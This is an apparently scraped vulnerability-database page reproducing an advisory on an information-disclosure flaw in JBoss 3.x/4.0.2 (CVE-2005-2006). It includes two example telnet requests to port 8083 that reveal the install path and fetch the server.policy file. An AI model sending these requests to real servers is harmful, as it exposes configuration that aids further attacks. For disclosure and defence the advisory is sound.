JBoss 3.x/4.0.2 - HTTP Request Remote Information Disclosure
| Reporter | Title | Published | Views | Family All 12 |
|---|---|---|---|---|
 | JBoss Malformed HTTP Request Remote Configuration Information Disclosure | 20 Jun 200500:00 | – | nessus |
| JBoss org.jboss.web.WebServer Class Multiple Vulnerabilities (Source Disc, ID) | 18 Jun 200500:00 | – | nessus |
 | CVE-2005-2006 | 20 Jun 200504:00 | – | cve |
 | CVE-2005-2006 | 20 Jun 200504:00 | – | cvelist |
 | Exploit for CVE-2005-2006 | 6 Aug 201816:42 | – | gitee |
 | RedHat JBoss File Disclosure | 18 Mar 201200:00 | – | dsquare |
 | clusterd - Application Server Attack Toolkit | 25 Sep 201721:04 | – | kitploit |
| clusterd | 13 Sep 202622:18 | – | kitploit |
 | CVE-2005-2006 | 17 Jun 200504:00 | – | nvd |
 | Directory traversal | 13 Feb 200611:06 | – | prion |
10
source: https://www.securityfocus.com/bid/13985/info
JBoss is prone to a remote information-disclosure vulnerability. The issue occurs in the 'org.jboss.web.WebServer' class and is due to a lack of sufficient sanitization of user-supplied request data.
Information that attackers can harvest through leveraging this issue may aid in further attacks against the affected service.
Example 1 (Installation path disclosure): [3.2.x and 4.0.2]
Request:
>>telnet [jbosshost] 8083
>>GET %. HTTP/1.0
Reply:
HTTP/1.0 400 C:\Programme\jboss-4.0.2\server\default\conf (Zugriff
verweigert)
Content-Type: text/html
Example 2 (Config file download): [4.0.2]
Request:
>>telnet [jbosshost] 8083
>>GET %server.policy HTTP/1.0Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
11 Jul 2017 00:00Current
7.2High risk
Vulners AI Score7.2
CVSS 25
EPSS0.09226